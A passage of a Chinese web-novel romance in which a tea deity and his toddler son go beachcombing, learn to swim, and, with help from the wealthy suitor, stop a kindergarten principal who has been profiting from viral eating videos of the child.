“后来茶神怀孕了,继续交易茶叶,会保不住腹中胎儿,茶神苦苦哀求书生,然而书生已经彻底变了个人,失去骨肉也在所不惜。他说他马上就要当上尚书,到时候茶神就是尚书夫人,一生一世荣华富贵白首不离。” “生死关头,有个仆人不忍,偷偷解开了困住茶神的锁链,茶神终于醒悟,为杀书生,自毁神胎凝聚神力,一柄长剑剖腹放血,让他尝尽生生流血而死的痛楚。” 这个仆人就是邓伯的祖上,后来代代成为在人间的接引者。 这个故事每一代接引者都要讲给茶神听,让涉足人间的茶神不要被男人骗了。 邓伯戴着老花镜翻着残缺的古书,费力辨认,有一大段文字因为保存不当糊了,下次晒晒再看。下回白清语回来,让他帮忙抄写一本新的。 “哦,末尾还有一句茶神语录——宁我先负人,不可让人负我!这个是故事重点!” “男人都靠不住,你的身份一定要保密。” “嗯。” 白清语被故事里的茶神遭遇弄得两眼通红,他的祖先好惨啊。祖先没有留下渣男基因的孩子,后来估计是自断树枝培育的小茶神。 所以自己肯定也是无性繁殖啦,这是优良传统。 邓伯:“有些人长得人模狗样,但一肚子坏水。” 白清语:“嗯。” 人模狗样.但刷书包的贺任沅:“……” 邓伯:“就跟那书生似的,肚子里比别人多装了几年墨水,负心多是读书人,变心很快!” 白清语同仇敌忾:“是这样的。” 人模狗样.学历很高.但刷书包的贺任沅:“……” 邓伯:“咱要举一反三,不仅穷书生不能要,富二代书生更要警惕,没有真心的。” 白清语磕了一个瓜子给白小茶:“对噢。” 人模狗样.学历很高.富二代.但刷书包的贺任沅:“……” 他不禁想起一些苦情剧里,一边洗衣服一边被公公嫌弃、男人还帮腔的苦命儿媳。 贺任沅闷不吭声继续刷书包,明天孩子上学要用。 ———————— 获得线索:古书*1 第38章 翌日,九点半,白清语携着幼崽出现在幼儿园门口。 他一出现,便围着许多小朋友,用简单又真挚的词汇赞美他,问他墨绿色的假发能不能借给他戴,因为实在太好看了。 白清语照例回答他们:“不行噢。” 小朋友们应声倒地。 白清语眉眼弯弯地想,他这一生经历各种各样的表白,他的心早就跟城墙一样厚了,对于贺任沅的追求有足够的防御能力。 这时,一辆黑色轿车鸣笛,缓缓地从车辆入口驶进幼儿园。 一个大朋友惊叹:“园长的雅迪变奥迪了!” 白清语闻声看去,的确,之前园长都开小电驴上班,据说幼儿园入不敷出,租金太贵把车卖了。 看来园长又发财了,连带着幼儿园的伙食也在提升,好多家长喜出望外,本来还怕幼儿园效益不好克扣伙食,担心孩子吃不好。 茶宝每次跟白清语汇报食物,必然有鸡有虾,好多新鲜菜色。一个月三千块钱也吃太好了。 白清语听见家长们讨论,说现在孩子都爱吃饭了。 白清语看见园长过来,萌生一个想法,跟他打招呼:“园长,你的雅迪卖不卖二手?” 如果他学会了电动车,短途路程就可以带着茶宝兜着风去了。 园长看着孩子们进去:“呃,卖掉了。” “好吧。”白清语拍拍茶宝的肩膀,“进去上学吧,吃完两顿就来接你。” 进去一顿,中午一顿,吃完就接出来去赶海。 白小茶知道下午要去海边,干饭的速度都加快了。 红烧狮子头软软糯糯,咬一口配一口米饭,再喝一口玉米排骨汤,炫完了狮子头,把玉米捞起来啃,啃光每一粒玉米,包括尾巴尖上不饱满的小玉米粒。 扔掉玉米梗之前,又挨着用嘴巴巡逻一圈,邓爷爷说上面的玉米胚芽有营养,要吃。 今天还有螃蟹噢。 “茶宝吃慢一些。”老师温馨提示,“今天吃得太快了不消化。” “好噢。”白小茶应了等于没应,在书包里寻找两秒,拿了最小的勺子,挖螃蟹的蟹黄正好。 两口一只螃蟹,再把螃蟹脚扯下来吸一吸,他有些力气,八只蟹腿毫不费力。 今天的饭后水果是水灵灵的巨峰大葡萄。 白小茶握在手里,显得葡萄巨大一颗,他咬破一点皮,一挤,甜甜的大葡萄跑进嘴里。 太甜了,葡萄汁流进喉咙,被齁到了,白小茶吐出葡萄,连咳了几下。 “啊,葡萄太甜了!” “不是葡萄宝宝的错。” 白小茶反手把葡萄又塞进嘴里,这次做好了准备,没有被甜到。 最后,他抽了一张纸擦擦嘴,“老师,宝宝吃饱了!” 负责给孩子拍吃饭视频的老师把小片段发到家长群里,然后把茶宝二十分钟全干饭过程发给园长。 “要不要再吃一个狮子头?今天吃得太快了。”园长一看时长,觉得茶宝还能吃。 白小茶坐在儿童饭桌上,脸蛋微微端重,复读道:“园长伯伯,宝宝吃饱——饱——的了。” 园长不小心和那双茶色的圆溜溜的眼睛对上,仿佛能看透一切般的清澈,这不是普通小孩—— 从上次有舅舅替他反击碰瓷就知道了。 茶宝看似软萌,但园长心里有股预感:被茶宝拒绝的事情,没人能强迫他干。 他是太惧怕茶宝舅舅的手段了么,竟然连带着对一岁小孩也诚惶诚恐。 [今天的吃播视频发完就不发了。] 园长这几天不知道第几次想,可是当他把视频更新到某音短视频账号“园长妈妈”上时,瞬间涌进来的观看人数和剧烈增长的评论,又让他犹豫起来。 [我只是更新自己幼儿园孩子吃饭的视频而已,又不是做错事,打赏收入我还拿给全体孩子改善伙食了。] 茶宝舅舅不会发现的,明天就更新别的孩子。 但是更新别的孩子吃饭,流量远远不如茶宝,首先他吃得香,其次他吃得多,最重要的是他长得符合所有赛博姨姨的喜欢,评论特别多,粉丝还在快速增涨。 [宝宝又准点开饭了!牛马姨姨也从工位上下来吃午饭,准时收看。] [姨姨今天好累,看见宝宝一说“宝宝开动了”就感觉不累了。] [谁懂啊,他真的好乖,吃饭前一句宝宝开动了,吃完了一句宝宝吃饱了,命都给你。] [红烧狮子头香香,宝宝多吃点,玉米棒子香香,宝宝多吃点……] [想辞职去你家幼儿园当阿姨,收吗?] [国家欠我一个宝宝!给我欧泡!给我宝宝!] [每天啃着馒头看宝宝。] [今天怎么只吃了二十分钟?宝宝能吃饱了?] [虽然二十分钟,但吃了一个大肉丸子、一碗米饭、一碗汤、两只螃蟹,一盘葡萄,今天吃得快,为什么呢宝宝?] [为了吃播效果给这么小的孩子吃两只螃蟹,是不是有点过了?上次给宝宝吃甘蔗我就觉得不太妥当了。] [爷爷给你打赏了,@园长妈妈,明天伙食也要好一点。] [奶奶可以做饭送给宝宝吗?] [被葡萄齁到的宝宝也太可爱了,到底有多甜。] @园长妈妈回复了该条评论:巨峰葡萄线下提货卡小黄车里有噢,宝宝亲测的甜! 视频更新完的半小时内,光是葡萄的链接就卖出了两千单。 挂在视频下方的小黄车,里面的产品琳琅满目,有同款干饭勺子、同款盘子、儿童安全座椅、儿童面霜……每一个销量都很牛。 园长看了看数据,幼儿园行情不太好后,他就想着做萌娃账号,但一直没有起色,直到茶宝这个天赐的宝宝出现,第一条吃播视频就火出圈了。 茶宝爸爸不大会用手机,也不刷短视频,茶宝舅舅是个大忙人,应该也不会刷。 再等等,等他再赚一辆奥迪,再跟茶宝爸爸分成。 白清语在外面闲逛一会儿,买了一个红色塑料桶和一个钳子,随后就去接茶宝。 “茶宝,今天我们有桶了。” 白小茶抱了抱桶,比他人还大,抱起来就看不见路了,果断放下,道:“爸爸用桶,宝宝用书包。” 今天会有更多小海鲜! 白清语一愣,不是,宝宝你的书包真的一点知识都不装啊。 知识也不是重点,重点是你老板叔叔刷得挺累的。昨晚刷得很用力才刷干净。 他给茶宝买的这个书包五十块呢,多刷几次要烂了,幼儿园都读不完。 嗯?那边商店里卖的什么? 白清语眼睛一亮:“宝宝,我们再买一个书包。” 只见校门口的小商店,最显眼的地方挂着一个果冻包,是用pvc软壳做成透明书包的样子,里面装着十几个不同口味的果冻。 买书包还送果冻,而且只要三十块! 这个软壳书包又轻又容易清洗,是最适合茶宝的书包。 白清语买了下来,把果冻倒进原来的书包,把透明书包给茶宝背上,“出发。” …… 下午两点,贺任沅从公司出发,有了昨天的惊吓,今天他忍不住想准时去接茶宝和白清语。 他提早到,幼儿园还没下课,有心想进去看看茶宝的上课模样,却被保安告知:白清语已经把孩子接走了。 贺任沅慌了一瞬,打开定位程序,看见两个小红点在一片海滩上移动。 哦,不是逃离,是逃课。 今天的风浪比较大,天色较阴沉,白清语来到昨天赶海的地方,换了一处礁石滩。 这里靠近大海,海浪声哗哗作响,礁石群处处是退潮后的水坑。 “爸爸,蓝色大螃蟹!”白小茶指着缝隙里露出来的螃蟹腿道。 白清语用钳子把螃蟹夹出来,茶宝打开透明书包,哐当,螃蟹掉进去。 白小茶隔着透明书包触碰了一下,快活地说:“爸爸,我今天吃了两只大螃蟹。” 白清语惊奇:“幼儿园伙食这么好啊。那这一只给谁吃?” 白小茶:“给爸爸吃。” “谢谢茶宝,晚上炖个兰花蟹冬瓜汤,和老板叔叔一起吃。” “老板叔叔!” 直到白小茶叫了第二声,白清语才反应过来,扭头一看,海边霍然出现一个贺任沅。 “你不用上班吗?” 贺任沅觉得某个茶神也是恃宠而骄了,领着三万的工资摸鱼,倒问起来老板上不上班。 “我也想摸鱼。” 白清语笑起来:“风浪越高,渔获越多,今天一定比昨天多。” 贺任沅看着白清语颤巍巍站在水坑边,只觉得心脏突突跳,他捂住心口:“能不能去安全的地方?” 白清语讶异道:“你害怕?还是你心脏不好?” 贺任沅:“……” 白清语看了一眼波涛汹涌的大海,理解了人类的脆弱,“你站远一些,我和茶宝不怕掉进水里,我们会浮起来,还会游泳。” 贺任沅猛地想起教白清语游泳的梦境,想起梦中缠绕着他们的水草,既然白清语真的有一头水草般的长发,那么这个梦一定是真的。 大雾之后,他和白清语一定还去了别的地方。 贺任沅:“你们茶神有没有神仙洞府?” 白清语警惕地看着他:“我是不会带凡人进去的。” “那就是有。”贺任沅直白地说,“你救了我,还带我进去过,我在里面教会你这个旱鸭子游泳。” “我失忆过,这都是我断断续续想起来的,你也一定失忆了。” [不符合你认知的事情就是洗脑。]白清语想起一句话,淡然道:“你想给我洗脑?” 他见过贺任沅的本事,很会说瞎话,“碰瓷还越编越真了。” “……”贺任沅被他气得心脏疼,脑壳痛。 “爸爸,宝宝也要。”茶宝看着爸爸站在近七十度的陡坡上,觉得很酷。 白清语看了一眼贺任沅,得意道:“爸爸教你。” 他把茶宝的鞋子脱掉,托着他的屁股让他四爪都贴在礁石上。 “想象自己脚下长出了树根,像藤壶宝宝一样吸住石头。”白清语调整了茶宝的脚丫,“脚趾头用力抓地。” 白小茶太小了,肚子里的神力不太会用,须得慢慢教。 “好了,爸爸松手,宝宝也松开手。” 白小茶慢吞吞松开按住石头上的手掌,弯着腰慢慢起来,真的吸住了! 他站在一米多高的大陡坡上,仿佛一块风动石,小风一吹就能滚下来,看得凡人贺任沅心惊胆战。 偏偏白清语还要投来一些难以言喻的视线。 贺任沅觉得茶神看他像在看废物。 海边不是一个适合追求茶神的地方。 白清语放下茶宝就去挖螺,父子俩一人一处各不相干。 白小茶还是太嫩了,坚持了一会儿就改成三只爪接地,一只手抠螺。 芝麻螺簌簌掉下来。 “老板叔叔,接住噢。” 贺任沅只能一边盯着茶宝,一边捡螺放进透明书包里,里面还有海星、兰花蟹、五颜六色的。白清语心大,他自认凡人,没办法不盯着,也去露一手摸鱼的本领。 “老天爷!这是谁家小孩,这也太危险了!” “那个大个子,还不快赶紧抱下来!” 白小茶瞪圆眼睛,唔,有不认识的奶奶来了,身体一轻,被老板叔叔抱了下去。 热心市民奶奶手指颤抖地指着贺任沅:“我看了心脏都要吓出来了!为了一口吃的不要命了!” 贺任沅:“嗯。”他的心脏也一直吓着。 她低头一看,孩子又那么可爱,更觉得怒火中烧:“你还嗯!你怎么当爹的?” “这么可爱的小孩子不要可以送去福利院,随便你扔派出所门口,哪怕扔垃圾桶里环卫工都会看一眼报警。” 白清语闻言急匆匆赶过来,把茶宝接过来:“是我——” 然而白清语和茶宝两人加在一起,就是大号乖宝宝和小号乖宝宝的区别,只有贺任沅一副桀骜不驯冷漠无情的气质。 罪魁祸首是谁?该骂谁不用说了吧? 猎猎海风中,贺任沅被正义市民指着鼻子痛斥了十分钟。 白清语捂住茶宝的耳朵瑟瑟发抖。 世界如此美妙,茶神和茶神幼崽都想探险、不,探索,没想到会让人如此担心。 他看着骂不还口的贺任沅,眼里一阵明暗交错。 他好像发现贺任沅和其他追随者的区别了。 ———————— 贺总,这一顿骂值得。 茶宝的痛包!茶宝会转学。 第39章 贺任沅穿着最靓的西装,挨着最狠的骂,发着最诚恳的誓:“一定没有下次了,谢谢您。” 世人(包括他爸)遮遮掩掩,唯有阿姨直白地肯定了十分钟他是茶宝的爸爸。 这无疑是对他这一段时间工作的认可,被骂爽了。 等热心奶奶走后,他偏头看见老实模样的茶神,低声教妻:“都听见了吧?” 白清语点头。 贺任沅:“这里不是无人区,施展绝技还是要注意一点,茶宝,跟叔叔挖花蛤吧。” 贺任沅把茶宝的海鲜痛包挂在小臂上,抱上他越过一滩水洼。 白小茶坐在老板叔叔胳膊上,道:“老板叔叔刚才怎么了?” 贺任沅:“因为穿的衣服不适合挖海鲜,挨骂了。” 白小茶:“叔叔你在笑吗?” 贺任沅盯着茶宝,心里暗爽也能被这么个小崽子看出来? “不是因为挨骂高兴,因为奶奶骂我是关心我。” “噢。” 贺任沅先是帮茶宝把他的书包装满各种海鲜,然后去帮白清语填他的大塑料桶。 白小茶:“爸爸什么时候填满?” 贺任沅把小崽子虚放进去:“满了。” 白清语:“宝宝是最大只的小海鲜。” 白小茶两只馒头似的脚丫吊在半空,怕踩到其他小海鲜:“是噢!” 渐渐的,赶海不是纯粹的赶海了,爸爸和叔叔陪着茶宝在沙滩上挖洞,玩寻宝游戏。 划定一个圈,茶宝把花蛤埋在沙子里,让爸爸去挖。 白清语指着一处凸起:“我猜在这里。” 白小茶去挖了挖,摊开手:“没有噢爸爸。” 贺任沅:“我觉得在这里。” 白小茶跑过去蹲下又挖了一手沙子:“没有噢叔叔。” 猜了好几轮都没有找到花蛤,白小茶揭晓答案:“在这儿哦!” 他挖了又挖还是没有,花蛤去哪里了? 白清语:“花蛤宝宝逃走了。” 白小茶:“花蛤宝宝跑得好快。” 白清语干脆不嫌沙子湿,坐下来,把茶宝的书包拿过来:“休息一会儿,我们来吃果冻。” 这个果冻包包买得太值了。 白小茶立即一屁股挨着爸爸坐下,巴巴等着,果冻是一种茶宝不能自主进食的食物,因为他撕不开。 白清语撕开一枚草莓味的果冻,递给他:“草莓味的。少爷你想吃什么口味的?” 贺任沅已经很久没有吃这种小颗的果冻,他目光在包里晃一圈:“红茶味的。” “有红茶味的么?”白清语在包里找了一圈,挨个把红红绿绿的果冻拿出来看,“没有。” 贺任沅:“那绿茶味的。” 白清语把果冻倒出来找:“只有芒果、葡萄、酸奶、橘子,什么茶都没有,白茶没有、乌龙茶也没有。” 白小茶:“宝宝可以帮助——” 白清语捏住他的嘴巴:“你不可以帮助。” 白小茶:“那爸爸帮助老板叔叔吧。” 贺任沅好整以暇地看着白清语。 白清语趁机教育宝宝:“叔叔这样的,就是挑食,不是一个好榜样。” 不挑食的茶宝推了一粒青绿色的果冻过去,用没办法的语气道:“老板叔叔,你吃葡萄味的吧。” 贺任沅淡定地拾起来,揭开膜吃了,招式频出:“茶宝好像挺喜欢水洼,明天周六,你可以带茶宝去楼上游泳,我买了泳衣、泳镜、浮水板、游泳圈、小黄鸭橡皮船。” 听起来已经改造成儿童水上乐园了。 白清语有点心动:“好。” 白小茶:“爸爸,游泳是什么?” 白清语:“像小鸭子在水里游,爸爸教一下你就会了。” 贺任沅:“刚才不是说你和茶宝都会游泳?你不是说茶神天生就会吗?” 白清语一愣,很快找到自洽的逻辑:“茶宝只是需要我点拨一下。” “是么?”贺任沅不置可否。只要茶宝不是一放在水里就会游,那么就能证明白清语的游泳是人类教的,到时候看他怎么嘴硬。 想要恢复记忆,首先得白清语承认自己失忆,茶神的办法总比自己多。 白清语浑然不知贺少城府深沉,美滋滋畅想明天的游泳。 他要把头发变出来。 柿子一般红的夕阳渐渐坠入海平面,晚霞大面积地铺开,给每个人的脸蛋镀上一层柔和的光晕。 两个大人中间坐着一个小孩,忽然很有默契地看起夕阳,一时没人说话。 白小茶看夕阳要配点橘色的果冻,他舔一舔滑溜的果冻面,正要一口含住,突然被人认出来。 “宝宝,你是超级网红干饭宝宝吗?”一对情侣路过,兴奋地喊叫,转目一看旁边的两个颜值超高的大人,声音突然弱了下来。 “你们全家颜值都这么高?” 在网友视角看来,茶宝的父母没有出镜,大多是因为颜值没有茶宝高。 粉丝张大着嘴巴看着白清语,幸好是没出镜,不然吸引的就不是干饭粉,而是一堆喊哥哥的颜粉了。 白清语和茶宝对视一眼,都有些懵逼。 贺任沅一听“网红”两个字,便意识到茶宝的视频一定是被谁传到网络上去了,加上“超级”二字,说明不是随手一拍的红法,是有人经营的账号。 他站起来,对想要拍照的粉丝说抱歉,不太方便。 情侣粉倒也没强求,恋恋不舍地看了茶宝好几眼:“好可爱好可爱!眼睛比视频里更好看,能不能看完宝宝吃果冻让我满足一下!” 茶宝一口含住果冻,嚼了嚼,吞下去,顺滑地不可思议。 “我满足了,谢谢宝宝。” 白小茶挠挠脸蛋,靠在爸爸身上,漂亮姐姐好奇怪的要求啊。 “再见哦姐姐。” “再见再见,姨姨明天准时等你干饭。” 贺任沅眉头拧着,掏出手机,在网上搜索“超级网红干饭宝宝”,出来了几个萌娃吃饭的视频,其中一个封面赫然是茶宝。 他循着链接找到账号,发现是一个百万粉某音号,叫@园长妈妈,从茶宝进幼儿园第一天就开始发视频,间接插几个别的孩子,主要是茶宝,一天吃三顿都发。 他点进其中一个视频,在看见小黄车里一大串母婴产品带货时脸色唰地黑了。 他知道账号主人是谁了。 贺任沅立刻打了一个电话,联系一个侵权律师先去找幼儿园的园长。 他把账号给白清语看:“园长拍了茶宝的吃饭视频引流带货。” 白清语不大明白:“什么意思?” 贺任沅不知道怎么跟茶神解释现在风靡全球的带货模式,道:“就是网友看了吃茶宝吃饭,很喜欢他,就想拥有同款食物、工具。粉丝越来越多,购买力越来越强,就什么产品都有人买单了。” 白清语:“就跟我看园长的小电动车,很喜欢,也想买一样。” 园长的小电动车装扮过,很可爱。 贺任沅:“是的,且不提侵权问题,如果选品没做好,粉丝买到了劣质产品,回头就会来骂茶宝。” 他不信以园长的能力,能做好什么选品,早晚都会翻车。 比起钱财问题,他更在意这个。 白清语皱眉:“意思是茶宝无缘无故就会在互联网挨骂?这个账号能让园长删除吗?” 茶宝倒是有提过吃饭拍视频的事,不过白清语以为是每次给他手机里发的那些,没想到竟然发在网上。 贺任沅:“删除是他的基本义务,还要道歉赔偿。” 白清语听见这句话,顿时安心,“有你当我的律师真好。” 贺任沅眼眸一深,下次能不能把律师换个什么别的词。 “先回去吧,我开车来的。” 两人火速回去把茶宝洗干净塞进被窝里,又赶往茶宝的幼儿园。 这时候,园长早就滑跪了,连贺任沅找的李律师都不可思议。 “我一开口他就滑跪,说他知道这是侵权,一开始只是为了支撑幼儿园办下去,他这个幼儿园场地大,租金太贵了。” 白清语点头:“是附近户外场地最大的。”他给茶宝考察的时候,场地是第一考虑因素,当时伙食还没这么好。 贺任沅冷笑一声:“我看他是又坏又贪,你带茶宝来面试第一天,他就想用茶宝引流了。” 白清语想了想:“是哦,他们看见茶宝吃饭的样子才肯收茶宝的。” 李律师道:“不错,他现在说可以把收益吐出来,放弃办幼儿园,只要让他继续经营账号,跟白清语分成。” 世界的尽头是带货,园长也是找到自己的新赛道了。 “想得倒美。”贺任沅冷眼看着园长,“我的要求是注销账号。” 园长觉得白清语好说话,道:“现在已经有百万粉丝,大家都是真心喜爱茶宝的,注销太可惜了。” 贺任沅:“没有你讨价还价的余地。” 李律师:“我重申一遍茶宝舅舅的要求,一,账号置顶声明一天,一天后销号。二,所有收益如数捐出。这两点,还是看在你确实改善了幼儿园伙食的面子上,否则,我们应该直接在法庭上见的。” 园长心底一直都很惧怕贺任沅,抱着侥幸心理捞钱,早就知道该趁贺任沅知道之前销号收手,奈何抵不过一个贪字,只能是一场空。他有种这一天终于来了的巨石落地感,做人还是得踏实不能贪心。 李律师:“没有问题我们就签字吧。” 园长犯难,小声道:“可是我把钱买了奥迪,刚开一天。” 李律师:“卖了,差价你补。” 众所周知,车一落地就贬值,至少要补好几万,园长面如土色,他本来就没有任何现金流了,只有一堆现在没人接手的幼儿园产业负资产:“我现在真的补不起差价,我能不能用家具电器抵,我还有一辆雅迪……” 不等贺任沅阻止,沉迷二手的白清语就答应了:“可以。” 贺任沅:“……” 贺任沅:“行,茶宝不会再来上学,把他的资料全部找出来还我。” 园长立即感恩戴德地去办公室把茶宝的入学资料找出来:“都在这,都在这,我保证以后一定踏踏实实办幼儿园,等这些孩子毕业了再另谋出路,不再动歪脑筋。” 贺任沅打眼一扫就看见白清语在家庭状况上填写的“文盲”和“保姆”。 这么老实,不欺负你欺负谁。 白清语对这样的处理还是很满意的,他问道:“能不能把收益捐给我老家的乡下小学买营养午餐?” 贺任沅:“当然可以。” 白清语弯起眼睛:“茶宝阴差阳错让更多宝宝吃上好饭,就算被骂过一两句,上天也会原谅的。我对你的处理很满意。” 李律师讶异地看着贺任沅,这样的处理不是贺任沅以前穷追猛打的风格。 贺任沅道:“这家幼儿园还在办,附近有很多孩子需要择近上学。” 李律师懂了,幼儿园里的孩子都是弱势群体,把一个园长逼到走投无路,后果不可估量。纵然他伤不到茶宝,但不能不为其他宝宝考虑。 所以哪怕园长提出用雅迪补奥迪的折价,贺任沅都答应了。 李律师瞥了一眼贺任沅身边好看的男人,当然,他认为更重要的原因是——白清语喜欢那辆雅迪,估计比贺总的所有车都能看得入眼。 翌日,白清语果真带着茶宝去楼上的泳池游泳。 他一进门,就看见贺任沅准备的泳衣,和茶宝一起换上。 他披散着头发,自己先下水,浮起来,然后从岸上接住茶宝,放在水面。 “宝宝不要害怕,数一二三就浮起来了。” 白小茶屏住呼吸,过了一会儿,就像爸爸一样浮起来,趴着浮,躺着浮。 “宝宝浮起来了!” 白清语笑眯眯:“真棒,我就说茶神天生就会嘛。” “来,像爸爸一样往前。” 茶宝:“好——噢?” 白清语:“嗯?” 十分钟后,白清语戳戳小崽子的腰,像推小船一样推来推去,不推就不动,他束手无策地挠挠后脑勺,忧心道:“宝宝,你怎么还不会啊?” 他想起电视上看过的黄金搭档广告,白小茶是不是缺少了让小船跑得更远的元素?要补锌还是要补铁?还是要补维c? 贺任沅站在岸上,看着愁眉不展的茶神,嗤笑一声,证据确凿,白清语还有什么话狡辩? “有你这么教人游泳的?” 白清语抬眸,看见岸上的贺任沅,理直气壮:“不然呢?” 白清语找到办法,语气欣喜:“宝宝,你需要一点儿童黄金搭档。” 贺任沅:“……” “买成人补脑的吧。” 第40章 “我来教。”贺任沅一下水,就被白清语周边的泳池水迷糊了脑子。 他定了定神,摒弃杂念,不看白清语,一手托住茶宝的胸前和肚脐部位,另一只手指导他的胳膊和腿标准地划水。 “现在是蛙泳,像青蛙一样游泳,茶宝见过青蛙怎么跳吗?” 白清语抱着手臂,半浮在水中,三百六十度环绕贺任沅教学,还帮儿子回答:“见过。” 贺任沅:“青蛙宝宝的腿是怎么蹬的……对,再来一次。” 白清语换个角度围观:“可是青蛙宝宝是蝌蚪。” 茶宝一下子忍不住,忘记动作:“蝌蚪有尾巴,宝宝没有尾巴,游不动。” 贺任沅闭了闭眼,某个不会教孩子游泳的茶神,一边唱反调,一边像海妖似的绕着他游,长而柔的发丝在水里一会儿缠着他的手臂,一会儿撩过他的后背,他有某时某刻觉得是白清语的手指在撩,在勾引他……这哪个男人受得了。 “专业教学,无关人员请上岸。”贺任沅发出最后通牒。 白清语:“我不看怎么知道茶宝是无师自通,还是你教会的。” 贺任沅忍无可忍,放开茶宝,见他确实好好浮着沉不下去,转身一把抓住白清语的手臂拉近,反拧在身后,两人绑在一起似的往水里沉去,水面没过口鼻的那一刻,贺任沅狠狠吻上那张可恨可怜的唇。 茶神在水里就像一块浮板,稍稍挣扎就带着贺任沅一起浮起来。 贺任沅紧紧抱着这块浮板,仿佛要揉进身体里去,在出水那一刻放开他,并看见了一张出水芙蓉般绝艳的脸蛋。他尝到了世界上最正宗的母树大红袍滋味,唯一、限定,武夷山那几棵母树被保护起来了,唯有眼前不懂设防的茶神可以按在水里尝了又尝! 白清语红着脸蛋,生平第一次被水呛到,咳了两声,眼里仿佛也要出水了。 贺任沅:“去岸上吗?不然溺水了我还给你人工呼吸。” 白清语瞪着他:“这是人为溺水!” 贺任沅:“再来一次。” 白清语立刻灰溜溜地跑回岸上,水里好危险啊,吓得他心脏扑通扑通跳,双脚踩到岸上了还没好,晕晕乎乎的。 他坐在岸边,本来双腿垂在水里,被贺任沅瞥来一眼,立刻把脚缩回岸上,仿佛这池水也是贺任沅的帮凶,一点都沾不得。 贺任沅:“茶宝不要学爸爸,不好好学游泳就会溺水。” 白清语哼一声,放屁。他看着贺任沅教学,全然不见方才的凶悍,教茶宝时出奇地有耐心,他看着看着,浑然忘记贺任沅的冒犯,甚至感同身受了茶宝的处境。 他捂住心脏,怎么回事,怎么还能觉得贺任沅也这样教过他? 不可心软,贺任沅的嘴巴会强吻人,可怕得狠。 可是……白清语又想起贺任沅在沙滩上替他挨骂时,抿着唇一声不吭的样子,不可一世、挥金如土的大少爷,就这样替他扛下一切。 也没有那么可恶,是因为自己捣乱贺任沅才忍无可忍。 接吻也不是一件难以忍受的事情,比茶宝的果冻好吃…… 他不着边际地想着,等目光再聚焦到泳池里时,茶宝已经学会了狗刨。 “宝宝太棒了!快游到爸爸这里来!” 白小茶费力地踢水,朝着爸爸游动。 贺任沅宛若一只沉默的虎鲸,静静守在他侧边。 茶宝快游到时,白清语伸出脚,勾住了他的手臂把他拎出水,“真厉害啊。” 哗啦,湿淋淋的水花落下来,贺任沅破水而出,摁着岸边一跃而上,坐在白清语旁边。 白清语后背的长发在地上滴了一滩水,贺任沅伸手一抿,闻了闻,是很浓重的茶味。白清语浑身上下,无论舔哪个地方都会很适宜。 茶神此时好像已经消化完了这个吻,绷直脚背,让白小茶坐在他脚腕上,一会儿抬高一会儿压低浸没在水里,把茶宝逗得直乐,比任何游乐场的设施都好玩。 如果是普通人做这个动作,一组下来便会累得气喘吁吁,而茶神的体力毋庸置疑,他的呼吸还没旁边的贺任沅重。 贺任沅只好将注意力转移到茶宝身上。 “你现在又是我的员工了,读舒贺幼儿园是正当福利。茶宝也去试读过,很适应。” 白清语把茶宝放生,踢踢他的屁股,鼓励他往对面游泳,幽幽道:“你家幼儿园有羊驼想吃他的头发。” 贺任沅:“……” 什么叫弄巧成拙,他之前以为茶宝跟小动物有缘,想安排更多食草动物…… “我保证以后幼儿园不会再出现任何动物。” 白清语:“那要怎么告诉茶宝,他要转学了?” 在一个地方干饭久了是有感情的,白清语愿意留住小茶宝这些他或许还不能表达出来的感情。 贺任沅:“食堂要重新装修,换一个地方干饭。” 白清语:“这个理由可以!” 周一早上,白小茶下来吃饭,虽然很晚才上学,但早饭一定要早早吃,一会儿消化掉了就能再吃别的。 白清语将一个鸭蛋放在贺任沅面前,两个芦丁鸡蛋放在茶宝面前。 茶宝:“爸爸呢?” 白清语拿出一个鸡蛋:“爸爸吃鸡蛋。” 茶宝弯起眼睛:“大家都有自己的蛋!” 一家三口默契地在桌上磕了一下蛋壳,剥开之后扔进了粥碗里。 吃完一碗粥,贺任沅遗憾地宣布:“茶宝,你的幼儿园食堂要拆掉了。” 白小茶啃到一半的猪蹄吐出来,充分说明了他的高度重视:“要拆掉了?” 贺任沅:“是的,因为食堂太老了,要塌了。” 白小茶露出天塌了的表情:“宝宝要塌了。” 贺任沅:“没关系,叔叔安排你去新的幼儿园干饭,就是上次叔叔带你去的那家,不会再有羊驼了。” 白小茶眼里暗掉的部分又灯泡一样亮起来:“叔叔家的食堂也好吃。” 贺任沅:“一言为定,今天就上新的幼儿园。” 白小茶:“可是我还没有跟园长伯伯和周老师说再见。” 白清语早就猜到儿子的反应:“爸爸带你去说跟老师说再见。” 贺任沅:“我陪你。” 白小茶:“那我要送一点东西给老师。” 他用自己把自己的两个书包都装满了零食:“这个给老师,这个给小朋友。” 幼儿园门口。 “园长伯伯,你怎么变成两轮了?”小朋友们一个发问,就会引起一连发问。 园长苦哈哈牵出他爸的凤凰牌二八大杠,刚到门口就被童言无忌伤到了心,像被一群小记者围着。 “自行车环保,以后都骑自行车。” “这个车邓爷爷也有!”白小茶看见二八大杠,像重逢老友一样激动。 邓爷爷还会在后座上栓一个篮子,白小茶躺在里面看蓝蓝的天,骑着在村里转悠。 白清语看着自行车,也露出怀念之色。 园长战战兢兢:“这个车、您、您也喜欢?” 所以白清语为什么唯独不喜欢奥迪,他就可以直接还奥迪了。 白清语摇头:“是茶宝想跟你们说再见。” “老师拜拜……” “院长伯伯再见。” 白小茶挨个说了再见,发了临别巧克力,最后又绕到园长面前,“伯伯,你的车真好,我可以坐一下吗?” 园长点头,他的奥迪都没有被茶宝夸过,突然就对二八大杠释怀了。 白小茶攀着斜杠够到后座。车后座很宽敞,不像现在的自行车窄窄的几条金属。 贺任沅扶住车头。 白小茶:“叔叔,你会骑吗?” 贺任沅只能硬着头皮抬腿跨过横杠,在幼儿园内部转了一圈。这种自行车没有一定的身高没法用脚刹车。 茶宝像小年糕一样趴在后座,黏得牢牢的,如果被热心市民看见又是一顿怒斥。 贺任沅使出毕生稳定性,如果放一盘水在老板叔叔后座,都晃荡不起波澜。 白清语一看茶宝的样子,就知道小崽子想乡下爷爷了,虽然在城里也有很多爷爷,但是邓伯才是陪伴他最久的。 他把茶宝抱进怀里,低声道:“宝宝,我们周末回家看爷爷。” 白小茶:“好——” 白小茶把剩余巧克力留给老师,白清语帮忙解释:“可以分给家长,由他们决定给不给孩子吃,我带茶宝先走了。” 园长看着茶宝上车,牵着二八大杠追了两步:“茶宝、茶宝……” 他从业以来收到的最乖的宝宝,他看着干了几十顿饭的宝宝。 常在河边走哪能不湿鞋,他变成了茶宝的事业粉,一门心思就想着运营茶宝账号。 